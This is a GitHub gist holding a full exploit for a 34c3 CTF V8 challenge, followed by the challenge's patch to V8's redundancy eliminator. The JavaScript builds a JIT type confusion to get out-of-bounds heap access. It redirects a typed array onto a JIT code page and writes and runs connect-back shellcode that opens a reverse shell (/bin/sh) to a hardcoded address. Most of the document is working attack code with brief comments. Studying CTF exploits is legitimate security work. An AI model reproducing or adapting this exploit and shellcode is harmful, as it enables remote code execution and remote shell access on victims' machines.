Skip to content

Instantly share code, notes, and snippets.

@itszn
Last active April 9, 2021 18:31
Show Gist options
  • Save itszn/9ae6417129c6658130a898cdaba8d76c to your computer and use it in GitHub Desktop.
Save itszn/9ae6417129c6658130a898cdaba8d76c to your computer and use it in GitHub Desktop.
34c3ctf V9 Exploit
<script>
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var sc = [];
for (var i=0; i<0x480; i++) {
sc.push(0x90);
}
//sc.push(0xcc);
//sc.push(0xeb);
//sc.push(0xfe);
// Connect back shellcode
sc = sc.concat([0x48,0x31,0xc0,0x48,0x31,0xff,0x48,0x31,0xf6,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x6a,0x2,0x5f,0x6a,0x1,0x5e,0x6a,0x6,0x5a,0x6a,0x29,0x58,0xf,0x5,0x49,0x89,0xc0,0x48,0x31,0xf6,0x4d,0x31,0xd2,0x41,0x52,0xc6,0x4,0x24,0x2,0x66,0xc7,0x44,0x24,0x2,0x7a,0x69,0xc7,0x44,0x24,0x4,0x68,0x83,0xd5,0x43,0x48,0x89,0xe6,0x6a,0x10,0x5a,0x41,0x50,0x5f,0x6a,0x2a,0x58,0xf,0x5,0x48,0x31,0xf6,0x6a,0x3,0x5e,0x48,0xff,0xce,0x6a,0x21,0x58,0xf,0x5,0x75,0xf6,0x48,0x31,0xff,0x57,0x57,0x5e,0x5a,0x48,0xbf,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x48,0xc1,0xef,0x8,0x57,0x54,0x5f,0x6a,0x3b,0x58,0xf,0x5,])
/*
The new optimization added to the challenge made it so that the turbofan jit redundancy eliminator
would optimize array map checks similar to how it does string checks:
If a previous `compatible` check was applied to the same object then it is safe to remove this check.
However this is flawed, because the compatibility check cannot tell if the array's mapping type has changed
between the first check and the second.
To abuse this, we want to create a jit optimized for packed 64bit float and then change the array map type
between uses of the array. The jit will assume it is still packed, causing a type confusion leading to oob
read/write.
*/
function bug(x,cb, i,j) {
// The check is added here, if it is a packed type as expected it passes
var a = x[0];
// Hit our call back, change type
cb();
// Access data as the wrong type of map
// Write one offset into the other
var c = x[i];
x[j] = c;
return c;
}
var v = Array(1000);
var x = Array();
x.push(2.1);
x.push(2.1);
var gab = new ArrayBuffer(0x534)
gc();
gc();
function opttest() {
// call in a loop to trigger optimization
for (var i = 0; i < 100000; i++) {
var o = bug(x,function(){}, 1,1);
}
}
opttest();
bug(x,function(){}, 1,1);
/*
To exploit this bug, we will get oob read/write to the heap.
Then we will overwrite a Uint8Array's backing store pointer with
the pointer to a jitted function object.
We can then write shellcode to the jit page and execute it.
*/
console.log("Triggering");
x = bug(x,function() {
//Make array map a dict type (hashmap)
x[100000]=1;
for (var i=0; i<1000; i++) {
// Set up a heap groom with typed arrays and a jited function
if (i != 1) {
var a = new Uint8Array(gab);
v[i]=a;
} else {
var b = function(x) {
return x*5 + x - x*x;
};
b(1);
b(1);
b(1);
b(1);
v[i] = b;
}
}
v[0] = 682174890<<1;
gc();
gc();
},
27, // Jitpage offset
40, // Typed array buffer offset
);
var fi = -1;
for(var i=2; i<v.length; i++) {
if (v[i][0] != 0) {
fi = i;
break;
}
}
if (fi != -1) {
console.log("Found jitpage");
// Copy shellcode over jit
v[i].set(sc);
console.log("Calling jit");
v[1]();
}
console.log("EXPLOIT FAILED");
</script>
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
#include "src/compiler/redundancy-elimination.h"
#include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"
namespace v8 {
namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
+ } else if (a->opcode() == IrOpcode::kCheckMaps &&
+ b->opcode() == IrOpcode::kCheckMaps) {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
} else {
return false;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment